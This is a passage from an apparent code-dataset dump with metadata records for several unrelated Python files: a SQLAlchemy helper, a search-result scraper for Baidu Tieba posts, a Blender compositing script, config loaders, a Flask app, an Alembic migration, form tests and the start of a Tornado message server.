"code-starcoder2", "pt": "32", "api": [{"api_name": "leetcode.sort_colours.sort_colours", "line_number": 14, "usage_type": "call"}, {"api_name": "leetcode.sort_colours", "line_number": 14, "usage_type": "name"}, {"api_name": "pytest.mark.parametrize", "line_number": 5, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 5, "usage_type": "attribute"}]} +{"seq_id": "399347620", "text": "\"\"\"API Database Resources\"\"\"\n\n\nimport logging\n\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import scoped_session, sessionmaker\n\nfrom api.config import Config\nfrom api.logger import time_function\n\nengine = create_engine(Config.DB['URI'], pool_size=10, max_overflow=20)\nSession = sessionmaker(bind=engine)\nbase = declarative_base(bind=engine)\n\nstoreSession = Session()\nlastSession = Session()\nallSession = Session()\n\n@time_function\ndef to_database(obj):\n \"\"\"Store the object into the database\n \n Arguments:\n obj {Declarative_Base} -- SqlAlchemy Base ORM object to be stored\n \n Returns:\n Declarative_base -- ORM Object stored in database\n \"\"\"\n try:\n storeSession.add(obj)\n storeSession.commit()\n logging.debug('Stored to database')\n return obj\n except Exception as _x:\n storeSession.rollback()\n logging.exception('Database storage session error: %s', (_x))\n storeSession.close()\n \n", "sub_path": "api/database.py", "file_name": "database.py", "file_ext": "py", "file_size_in_byte": 1041, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "sqlalchemy.create_engine", "line_number": 13, "usage_type": "call"}, {"api_name": "api.config.Config.DB", "line_number": 13, "usage_type": "attribute"}, {"api_name": "api.config.Config", "line_number": 13, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.sessionmaker", "line_number": 14, "usage_type": "call"}, {"api_name": "sqlalchemy.ext.declarative.declarative_base", "line_number": 15, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 34, "usage_type": "call"}, {"api_name": "logging.exception", "line_number": 38, "usage_type": "call"}, {"api_name": "api.logger.time_function", "line_number": 21, "usage_type": "name"}]} +{"seq_id": "229571911", "text": "from urllib.parse import urlencode\r\nfrom html.parser import HTMLParser\r\nfrom bs4 import BeautifulSoup\r\n\r\nfrom HtmlFactory import HtmlFactory\r\nimport urllib.request\r\nimport urllib.parse\r\nimport http.cookiejar, threading\r\nimport random, sys, datetime, time, os\r\nimport time\r\nfrom PyQt5 import QtCore, QtGui, QtWidgets\r\n\r\nclass CatchHtml():\r\n def __init__(self, obj):\r\n self.GUI = obj\r\n self.lastPage = 0\r\n self.htmlFactory = HtmlFactory()\r\n self.non_bmp_map = dict.fromkeys(range(0x10000, sys.maxunicode + 1), 0xfffd)\r\n self.numOfCatch = 0\r\n self.numthd = 0\r\n self.thdList = []\r\n self.tLock = threading.Lock()\r\n date = datetime.datetime.now()\r\n filename = '%s_%s_%s.log' % (date.year, date.month, date.day)\r\n if os.path.exists(filename):\r\n os.remove(filename)\r\n self.logFile = open('%s_%s_%s.log' % (date.year, date.month, date.day),\"a+\",encoding='UTF-8')\r\n \r\n def catchContent(self, url):\r\n headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36'}\r\n date = datetime.datetime.now()\r\n txtFile=open('%s_%s_%s_%s.csv' % (date.year, date.month, date.day, self.keyword),\"a+\",encoding='UTF-8')\r\n if self.numOfCatch == 0:\r\n print( '\\uFEFF', file=txtFile, end='' )\r\n print( 'Date,Title,Author,Content,Comments', file=txtFile )\r\n print( '開始save to csv' )\r\n\r\n request = urllib.request.Request(url ,headers=headers)\r\n print('sss1')\r\n html = urllib.request.urlopen(request)\r\n print('sss2')\r\n txtHtml = html.read().decode('utf8', errors='ignore').translate(self.non_bmp_map)\r\n html.close()\r\n print('sss3')\r\n Date = self.htmlFactory.getDate(txtHtml) \r\n if Date == '':\r\n html.close()\r\n return False\r\n result = self.htmlFactory.getDate(txtHtml) + ',' + self.htmlFactory.getTitle(txtHtml) + ',' + self.htmlFactory.getAuthor(txtHtml) + ',' + self.htmlFactory.getContent(txtHtml) + ',' + self.htmlFactory.getComment(txtHtml)\r\n print( 'result = content' )\r\n \r\n print( 'output result' )\r\n print( result, file=txtFile )\r\n #print( '------------------------------------------------------------------------------', file=txtFile )\r\n \r\n #html.close()\r\n\r\n \r\n self.tLock.acquire()\r\n self.numOfCatch = self.numOfCatch + 1\r\n self.tLock.release()\r\n return True\r\n def catchAllContents(self, urls):\r\n \r\n for url in urls:\r\n print(url)\r\n self.catchContent(url)\r\n #time.sleep (5)\r\n #thd = threading.Thread(target = self.catchContent, name='Catch%s' % self.numthd, args=(url,))\r\n #self.thdList.append( thd )\r\n #thd.start()\r\n #self.numthd = self.numthd + 1\r\n \r\n def catch(self, keyword, index, times = 0):\r\n try:\r\n strI = index/10 if index > 0 else 1\r\n self.GUI.showStatus.setText('正在抓取第%d頁' % strI)\r\n print('正在抓取第%d頁' % strI )\r\n headers = { \r\n #'Connection': 'Keep-Alive', \r\n #'Accept-Language': 'zh-TW,zh;en-US;q=0.6,en;q=0.4', \r\n 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',\r\n #'Host' : 'tieba.baidu.com',\r\n #'Content-Type': 'text/html; charset=GBK',\r\n #'Upgrade-Insecure-Requests': '1',\r\n \r\n }\r\n \r\n\r\n url = 'https://www.google.com.tw/search?start=' + str(index) + '&q=' + urllib.parse.quote(keyword.encode('utf8')) + '+site%3Ahttps%3A%2F%2Ftieba.baidu.com%2F'\r\n ############# find last page\r\n \r\n\r\n #######################\r\n print('begin open' )\r\n print( url )\r\n\r\n request = urllib.request.Request(url, headers=headers)\r\n response = urllib.request.urlopen(request)\r\n print('end open' ) \r\n content = response.read().decode('GBK', errors='ignore').translate(self.non_bmp_map)\r\n response.close()\r\n #print(content)\r\n #print( '---->getUrls' )\r\n urls = self.htmlFactory.getUrls(content)\r\n #print( urls[0] )\r\n print( '---->end getUrls num: %d' % len(urls) )\r\n \r\n \r\n \r\n #print(content, file=open('111.html',\"a+\",encoding='GBK'))\r\n # 抓取內容\r\n #print( '---->catchContent' )\r\n if len(urls) <= 0 or times > 5:\r\n return False\r\n self.catchAllContents(urls)\r\n #print( '---->end catchContent' )\r\n except Exception as e:\r\n print('catch 發生Error: ' + str(e))\r\n print('catch 發生Error', file=self.logFile)\r\n self.GUI.textEdit.append('catch發生Error')\r\n print('重新開始至抓取' + str(index))\r\n self.catch(keyword, index, times=times+1)\r\n return True\r\n print('輸出成功至')\r\n return True\r\n def forCatching(self, keyword, beginI, endI ):\r\n stopIndex = endI\r\n sum_index = 1;\r\n i = self.lastPage = beginI\r\n while i <= endI:\r\n if not self.catch(keyword, i):\r\n stopIndex = i\r\n break;\r\n sum_index = sum_index + 1;\r\n if self.lastPage == -1:\r\n break \r\n print('Catch success')\r\n i = i + 10\r\n # Wait for all threads to terminate. \r\n for t in self.thdList:\r\n t.join()\r\n #print( 'after sleep %d' % len(self.thdList) )\r\n \r\n self.GUI.showStatus.setText('結束 第%d頁, 共抓%d筆資料' % (stopIndex, self.numOfCatch))\r\n self.numOfCatch = 0\r\n self.numthd = 0\r\n self.GUI.GoButton.setEnabled(True)\r\n self.logFile.close()\r\n def start(self, keyword, beginI, endI):\r\n self.keyword = keyword\r\n thd = threading.Thread(target = self.forCatching, name='Catching', args=(keyword,beginI-1,endI*10))\r\n thd.start()\r\n #self.catch(keyword, beginI)\r\n", "sub_path": "BIDOo/CatchHtml.py", "file_name": "CatchHtml.py", "file_ext": "py", "file_size_in_byte": 6332, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "HtmlFactory.HtmlFactory", "line_number": 17, "usage_type": "call"}, {"api_name": "sys.maxunicode", "line_number": 18, "usage_type": "attribute"}, {"api_name": "threading.Lock", "line_number": 22, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 23, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 26, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 31, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 31, "usage_type": "attribute"}, {"api_name": "urllib.parse.request.Request", "line_number": 38, "usage_type": "call"}, {"api_name": "urllib.parse.request", "line_number": 38, "usage_type": "attribute"}, {"api_name": "urllib.parse", "line_number": 38, "usage_type": "name"}, {"api_name": "html.parser", "line_number": 40, "usage_type": "name"}, {"api_name": "urllib.parse.request.urlopen", "line_number": 40, "usage_type": "call"}, {"api_name": "urllib.parse.request", "line_number": 40, "usage_type": "attribute"}, {"api_name": "urllib.parse", "line_number": 40, "usage_type": "name"}, {"api_name": "html.parser.read", "line_number": 42, "usage_type": "call"}, {"api_name": "html.parser", "line_number": 42, "usage_type": "name"}, {"api_name": "html.parser.close", "line_number": 43, "usage_type": "call"}, {"api_name": "html.parser", "line_number": 43, "usage_type": "name"}, {"api_name": "html.parser.close", "line_number": 47, "usage_type": "call"}, {"api_name": "html.parser", "line_number": 47, "usage_type": "name"}, {"api_name": "urllib.parse.parse.quote", "line_number": 90, "usage_type": "call"}, {"api_name": "urllib.parse.parse", "line_number": 90, "usage_type": "attribute"}, {"api_name": "urllib.parse", "line_number": 90, "usage_type": "name"}, {"api_name": "urllib.parse.request.Request", "line_number": 98, "usage_type": "call"}, {"api_name": "urllib.parse.request", "line_number": 98, "usage_type": "attribute"}, {"api_name": "urllib.parse", "line_number": 98, "usage_type": "name"}, {"api_name": "urllib.parse.request.urlopen", "line_number": 99, "usage_type": "call"}, {"api_name": "urllib.parse.request", "line_number": 99, "usage_type": "attribute"}, {"api_name": "urllib.parse", "line_number": 99, "usage_type": "name"}, {"api_name": "threading.Thread", "line_number": 152, "usage_type": "call"}]} +{"seq_id": "601552592", "text": "#!/usr/bin/python3\n# -*- coding: UTF-8 -*-\n'''BlendNet Script Compose\n\nDescription: Special script used by the Manager to compose result\n'''\n\nimport signal # The other better ways are not working for subprocess...\nsignal.signal(signal.SIGTERM, lambda s, f: print('WARN: Dodged TERM subprocess'))\n\nimport os, sys, json\nsys.path.append(os.path.dirname(__file__))\n\nimport disable_buffering\nimport blend_file\n\n# Read current task specification from json file\ntask = None\nwith open(sys.argv[-1], 'r') as f:\n task = json.load(f)\n\nexitcode = 0\n\nimport bpy\n\nprint(\"INFO: Preparing composing of:\", bpy.data.filepath)\n\nscene = bpy.context.scene\n\n# Set frame if provided\nif 'frame' in task:\n scene.frame_current = task['frame']\n\nprint('INFO: Checking existance of the dependencies')\ngoods, bads = blend_file.getDependencies(task.get('project_path'), task.get('cwd_path'), True)\nprint('DEBUG: Goods:', goods)\nprint('DEBUG: Bads:', bads)\n\nif scene.render.is_movie_format:\n print('WARN: Unable to save still image to movie format, so use single-layer exr for compose')\n exitcode = 1\n scene.render.image_settings.file_format = 'OPEN_EXR'\n scene.render.image_settings.color_mode = 'RGBA'\n scene.render.image_settings.color_depth = '32'\n scene.render.image_settings.exr_codec = 'ZIP'\n\n# Set the output file\nfilename = bpy.path.basename(scene.render.frame_path())\nscene.render.filepath = os.path.abspath(os.path.join(task.get('result_dir'), filename))\nos.makedirs(bpy.path.abspath(task.get('result_dir')), mode=0o750, exist_ok=True)\n\nimage_path = os.path.abspath(bpy.path.abspath(task.get('render_file_path')))\nprint('DEBUG: Using render image:', image_path)\nbpy.ops.image.open(filepath=image_path, use_sequence_detection=False)\nimage = bpy.data.images[bpy.path.basename(task.get('render_file_path'))]\n\n# If compositing is disabled - just convert the file to the required format\nif not task.get('use_compositing_nodes'):\n print('DEBUG: Compositing is disabled, just converting the render image')\n if scene.render.image_settings.file_format == 'OPEN_EXR_MULTILAYER':\n print('WARN: Just move the render to compose due to blender bug T71087')\n # Windows will not just replace the file - so need to check if it's exist\n try:\n if os.path.exists(bpy.path.abspath(scene.render.frame_path())):\n os.remove(bpy.path.abspath(scene.render.frame_path()))\n os.rename(image_path, bpy.path.abspath(scene.render.frame_path()))\n except Exception as e:\n # Could happen on Windows if file is used by some process\n print('ERROR: Unable to move file:', str(e))\n sys.exit(1)\n\n # Save the loaded image as render to convert\n image.save_render(bpy.path.abspath(scene.render.frame_path()))\n\n# Enable compose to replace the regular render layers node with prerendered EXR image\nscene.render.use_compositing = True\nscene.render.use_sequencer = False\nscene.use_nodes = True\n\nimage_node = scene.node_tree.nodes.new(type='CompositorNodeImage')\nimage_node.image = image\n\nlink_name_overrides = {}\nif image_node.image.type == 'MULTILAYER':\n try:\n image_node.layer = 'View Layer'\n except:\n # In Blender v3 the naming was changed\n image_node.layer = 'ViewLayer'\n link_name_overrides['Image'] = 'Combined'\n\nnodes_to_remove = []\nlinks_to_create = []\n# Find nodes, links and outpus\nfor node in scene.node_tree.nodes:\n print('DEBUG: Checking node %s' % (node,))\n if not isinstance(node, bpy.types.CompositorNodeRLayers) or node.scene != scene:\n continue\n nodes_to_remove.append(node)\n print('INFO: Reconnecting %s links to render image' % (node,))\n for link in scene.node_tree.links:\n print('DEBUG: Checking link %s - %s' % (link.from_node, link.to_node))\n if link.from_node != node:\n continue\n print('DEBUG: Found link %s - %s' % (link.from_socket, link.to_socket))\n link_name = link_name_overrides.get(link.from_socket.name, link.from_socket.name)\n for output in image_node.outputs:\n print('DEBUG: Checking output:', output.name, link_name)\n if output.name != link_name:\n continue\n links_to_create.append((output, link))\n break\n\n# Relinking previous render layer node outputs to the rendered image\nfor output, link in links_to_create:\n print('INFO: Connecting \"%s\" output to %s.%s input' % (\n output, link.to_node, link.to_socket\n ))\n scene.node_tree.links.new(output, link.to_socket)\n\n# Removing the nodes could potentially break the pipeline\nfor node in nodes_to_remove:\n print('INFO: Removing %s' % (node,))\n scene.node_tree.nodes.remove(node)\n\nbpy.ops.render.render(write_still=True)\n\nprint('INFO: Compositing completed')\nsys.exit(exitcode)\n", "sub_path": "BlendNet/script-compose.py", "file_name": "script-compose.py", "file_ext": "py", "file_size_in_byte": 4801, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "signal.signal", "line_number": 9, "usage_type": "call"}, {"api_name": "signal.SIGTERM", "line_number": 9, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 12, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 19, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 20, "usage_type": "call"}, {"api_name": "bpy.data", "line_number": 26, "usage_type": "attribute"}, {"api_name": "bpy.context", "line_number": 28, "usage_type": "attribute"}, {"api_name": "blend_file.getDependencies", "line_number": 35, "usage_type": "call"}, {"api_name": "bpy.path.basename", "line_number": 48, "usage_type": "call"}, {"api_name": "bpy.path", "line_number": 48, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path", "line_number": 49, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 49, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 50, "usage_type": "call"}, {"api_name": "bpy.path.abspath", "line_number": 50, "usage_type": "call"}, {"api_name": "bpy.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path", "line_number": 52, "usage_type": "attribute"}, {"api_name": "bpy.path.abspath", "line_number": 52, "usage_type": "call"}, {"api_name": "bpy.path", "line_number": 52, "usage_type": "attribute"}, {"api_name": "bpy.ops.image.open", "line_number": 54, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 54, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 55, "usage_type": "attribute"}, {"api_name": "bpy.path.basename", "line_number": 55, "usage_type": "call"}, {"api_name": "bpy.path", "line_number": 55, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 64, "usage_type": "call"}, {"api_name": "os.path", "line_number": 64, "usage_type": "attribute"}, {"api_name": "bpy.path.abspath", "line_number": 64, "usage_type": "call"}, {"api_name": "bpy.path", "line_number": 64, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 65, "usage_type": "call"}, {"api_name": "bpy.path.abspath", "line_number": 65, "usage_type": "call"}, {"api_name": "bpy.path", "line_number": 65, "usage_type": "attribute"}, {"api_name": "os.rename", "line_number": 66, "usage_type": "call"}, {"api_name": "bpy.path.abspath", "line_number": 66, "usage_type": "call"}, {"api_name": "bpy.path", "line_number": 66, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 70, "usage_type": "call"}, {"api_name": "bpy.path.abspath", "line_number": 73, "usage_type": "call"}, {"api_name": "bpy.path", "line_number": 73, "usage_type": "attribute"}, {"api_name": "bpy.types", "line_number": 97, "usage_type": "attribute"}, {"api_name": "bpy.ops.render.render", "line_number": 126, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 126, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 129, "usage_type": "call"}]} +{"seq_id": "213067875", "text": "import json\n\n\nprefix_file = open(\"Script/Modifiable_variables/prefix.json\", \"r\")\nprefix = json.load(prefix_file)\nprefix_file.close()\nPrefix = {}\nfor guild_id, bot_prefix in prefix.items():\n Prefix[int(guild_id)] = bot_prefix\n\nvotes_file = open(\"Script/Modifiable_variables/votes.json\", \"r\")\nvotes = json.load(votes_file)\nvotes_file.close()\nVotes = {}\nfor member_id, points in votes.items():\n Votes[int(member_id)] = points\n\nsupport_file = open(\"Script/Modifiable_variables/support_role_ for_tickets.json\", \"r\")\nsupport = json.load(support_file)\nsupport_file.close()\nSupport = {}\nfor guild_id, support_id in support.items():\n Support[int(guild_id)] = support_id\n", "sub_path": "Script/Modifiable_variables/import_var.py", "file_name": "import_var.py", "file_ext": "py", "file_size_in_byte": 670, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "json.load", "line_number": 5, "usage_type": "call"}, {"api_name": "json.load", "line_number": 12, "usage_type": "call"}, {"api_name": "json.load", "line_number": 19, "usage_type": "call"}]} +{"seq_id": "105666759", "text": "#!/usr/bin/python\n\nfrom flask import Flask, render_template, request\nfrom simulation import Universe\n\napp = Flask(__name__)\n\n@app.route('/', methods=['GET', 'POST'])\ndef home():\n if request.method == 'GET':\n return render_template('start.html')\n return render_template('results.html', log=simulate(request.form))\n\ndef simulate(params):\n universe = Universe(int(params['population']) or 100, int(params['locations']) or 10)\n universe.run(10)\n return universe.log\n\nif __name__ == \"__main__\":\n app.run()\n", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 526, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "flask.Flask", "line_number": 6, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 10, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 10, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 11, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 12, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 12, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 12, "usage_type": "name"}, {"api_name": "simulation.Universe", "line_number": 15, "usage_type": "call"}]} +{"seq_id": "241112434", "text": "# uncompyle6 version 3.7.4\n# Python bytecode 3.8 (3413)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: c:\\users\\jonat\\code\\snek_cogs\\tarot\\cogs\\tarot\\t_data\\json_data.py\n# Compiled at: 2020-01-06 10:13:36\n# Size of source mod 2**32: 373 bytes\nimport json, os\nDIR_PATH = os.path.dirname(os.path.realpath(__file__))\nwith open(DIR_PATH + '/tarot_spreads.json') as (f):\n tarot_spreads = json.load(f)\nwith open(DIR_PATH + '/tarot_data.json') as (f):\n tarot_data = json.load(f)\nwith open(DIR_PATH + '/tarot_skins.json') as (f):\n tarot_skins = json.load(f)", "sub_path": "pycfiles/d_snek_cogs_tarot-0.1.1-py3-none-any/json_data.cpython-38.py", "file_name": "json_data.cpython-38.py", "file_ext": "py", "file_size_in_byte": 613, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "os.path.dirname", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 9, "usage_type": "call"}, {"api_name": "json.load", "line_number": 11, "usage_type": "call"}, {"api_name": "json.load", "line_number": 13, "usage_type": "call"}, {"api_name": "json.load", "line_number": 15, "usage_type": "call"}]} +{"seq_id": "58852985", "text": "\"\"\"empty message\n\nRevision ID: 5261344d5bfb\nRevises: 40580ec50dd5\nCreate Date: 2014-09-05 12:08:43.139721\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '5261344d5bfb'\ndown_revision = '40580ec50dd5'\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\ndef upgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.add_column('users', sa.Column('age', sa.Integer(), nullable=True))\n op.add_column('users', sa.Column('name', sa.String(length=255), nullable=True))\n op.add_column('users', sa.Column('study', sa.String(length=255), nullable=True))\n op.add_column('users', sa.Column('twitter_handle', sa.String(length=255), nullable=True))\n op.add_column('users', sa.Column('work', sa.String(length=255), nullable=True))\n ### end Alembic commands ###\n\n\ndef downgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('users', 'work')\n op.drop_column('users', 'twitter_handle')\n op.drop_column('users', 'study')\n op.drop_column('users', 'name')\n op.drop_column('users', 'age')\n ### end Alembic commands ###\n", "sub_path": "migrations/versions/5261344d5bfb_.py", "file_name": "5261344d5bfb_.py", "file_ext": "py", "file_size_in_byte": 1099, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "alembic.op.add_column", "line_number": 19, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 19, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 19, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 19, "usage_type": "call"}, {"api_name": "alembic.op.add_column", "line_number": 20, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 20, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 20, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 20, "usage_type": "call"}, {"api_name": "alembic.op.add_column", "line_number": 21, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 21, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 21, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 21, "usage_type": "call"}, {"api_name": "alembic.op.add_column", "line_number": 22, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 22, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 22, "usage_type": "call"}, {"api_name": "alembic.op.add_column", "line_number": 23, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 23, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 23, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 23, "usage_type": "call"}, {"api_name": "alembic.op.drop_column", "line_number": 29, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 29, "usage_type": "name"}, {"api_name": "alembic.op.drop_column", "line_number": 30, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 30, "usage_type": "name"}, {"api_name": "alembic.op.drop_column", "line_number": 31, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 31, "usage_type": "name"}, {"api_name": "alembic.op.drop_column", "line_number": 32, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 32, "usage_type": "name"}, {"api_name": "alembic.op.drop_column", "line_number": 33, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 33, "usage_type": "name"}]} +{"seq_id": "564437857", "text": "from __future__ import unicode_literals\n\nimport datetime\n\nimport mock\n\nimport pytz\n\nfrom tracpro.test import factories\nfrom tracpro.test.cases import TracProTest\n\nfrom .. import forms\n\n\nclass TestPollChartFilterForm(TracProTest):\n\n def setUp(self):\n super(TestPollChartFilterForm, self).setUp()\n\n self.org = factories.Org()\n\n # Mock time-dependent utilities so that there is a testable result.\n self.month_range_patcher1 = mock.patch('tracpro.polls.forms.get_month_range')\n self.mock_get_month_range1 = self.month_range_patcher1.start()\n self.mock_get_month_range1.return_value = (\n datetime.datetime(2016, 2, 1, tzinfo=pytz.UTC),\n datetime.datetime(2016, 3, 1, tzinfo=pytz.UTC),\n )\n self.month_range_patcher2 = mock.patch('tracpro.charts.filters.get_month_range')\n self.mock_get_month_range2 = self.month_range_patcher2.start()\n self.mock_get_month_range2.return_value = (\n datetime.datetime(2016, 2, 1, tzinfo=pytz.UTC),\n datetime.datetime(2016, 3, 1, tzinfo=pytz.UTC),\n )\n\n # Data to pass to form for testing.\n self.data = {\n 'numeric': 'response-rate',\n 'date_range': 'custom',\n 'start_date': datetime.datetime(2014, 1, 15, tzinfo=pytz.UTC),\n 'end_date': datetime.datetime(2014, 10, 22, tzinfo=pytz.UTC),\n 'split_regions': False,\n }\n\n def tearDown(self):\n super(TestPollChartFilterForm, self).tearDown()\n self.month_range_patcher1.stop()\n self.month_range_patcher2.stop()\n\n def test_initial(self):\n \"\"\"Default data should be set if data is not passed to the form.\"\"\"\n form = forms.PollChartFilterForm(org=self.org)\n self.assertTrue(form.is_bound)\n self.assertTrue(form.is_valid())\n self.assertDictEqual(form.data, {\n 'numeric': 'sum',\n 'date_range': 'month',\n 'start_date': datetime.datetime(2016, 2, 1, tzinfo=pytz.UTC),\n 'end_date': datetime.datetime(2016, 2, 29, tzinfo=pytz.UTC),\n 'split_regions': False,\n })\n\n def test_numeric_required(self):\n \"\"\"Data type choice is required.\"\"\"\n self.data.pop('numeric')\n form = forms.PollChartFilterForm(org=self.org, data=self.data)\n self.assertFalse(form.is_valid())\n self.assertDictEqual(form.errors, {\n 'numeric': ['This field is required.'],\n })\n\n def test_numeric_invalid(self):\n \"\"\"Data type must come from list of valid choices.\"\"\"\n self.data['numeric'] = 'invalid'\n form = forms.PollChartFilterForm(org=self.org, data=self.data)\n self.assertFalse(form.is_valid())\n self.assertDictEqual(form.errors, {\n 'numeric': ['Select a valid choice. '\n 'invalid is not one of the available choices.'],\n })\n", "sub_path": "tracpro/polls/tests/test_forms.py", "file_name": "test_forms.py", "file_ext": "py", "file_size_in_byte": 2907, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "tracpro.test.cases.TracProTest", "line_number": 15, "usage_type": "name"}, {"api_name": "tracpro.test.factories.Org", "line_number": 20, "usage_type": "call"}, {"api_name": "tracpro.test.factories", "line_number": 20, "usage_type": "name"}, {"api_name": "mock.patch", "line_number": 23, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 26, "usage_type": "call"}, {"api_name": "pytz.UTC", "line_number": 26, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 27, "usage_type": "call"}, {"api_name": "pytz.UTC", "line_number": 27, "usage_type": "attribute"}, {"api_name": "mock.patch", "line_number": 29, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 32, "usage_type": "call"}, {"api_name": "pytz.UTC", "line_number": 32, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 33, "usage_type": "call"}, {"api_name": "pytz.UTC", "line_number": 33, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 40, "usage_type": "call"}, {"api_name": "pytz.UTC", "line_number": 40, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 41, "usage_type": "call"}, {"api_name": "pytz.UTC", "line_number": 41, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 58, "usage_type": "call"}, {"api_name": "pytz.UTC", "line_number": 58, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 59, "usage_type": "call"}, {"api_name": "pytz.UTC", "line_number": 59, "usage_type": "attribute"}]} +{"seq_id": "358274354", "text": "import logging\r\nimport tornado.escape\r\nimport tornado.ioloop\r\nimport tornado.web\r\nimport tornado.httpserver\r\nimport os.path\r\nimport uuid\r\n\r\nfrom tornado.concurrent import Future\r\nfrom tornado import gen\r\nfrom tornado.options import define, options, parse_command_line\r\nfrom tornado.web import HTTPError\r\nBASE_DIR = os.path.dirname(__file__)\r\ndefine(\"port\", default=8888, help=\"run on the given port\", type=int)\r\ndefine(\"debug\", default=False, help=\"run in debug mode\")\r\ndefine(\"max_cache_msg\", default=200, help=\"max cache message size\", type=int)\r\ndefine(\"max_channel\", default=50, help=\"max channel size\", type=int)\r\ndefine(\"max_admin_token\", default=50, help=\"max admin size\", type=int)\r\ndefine('admin_token', multiple=True)\r\ndefine('config', default=os.path.join(BASE_DIR, 'wxcomet.conf'), help='wxcomet config file')\r\ndefine('login_url', default='/admin/login', help='login url for admin token')\r\n\r\n\r\nclass MessageChannel(object):\r\n def __init__(self, **kwargs):\r\n self.waiters = set()\r\n self.cache = []\r\n self.cache_size = kwargs['cache'] if kwargs.get('cache') else options.max_cache_msg\r\n self.name = kwargs['name'] if 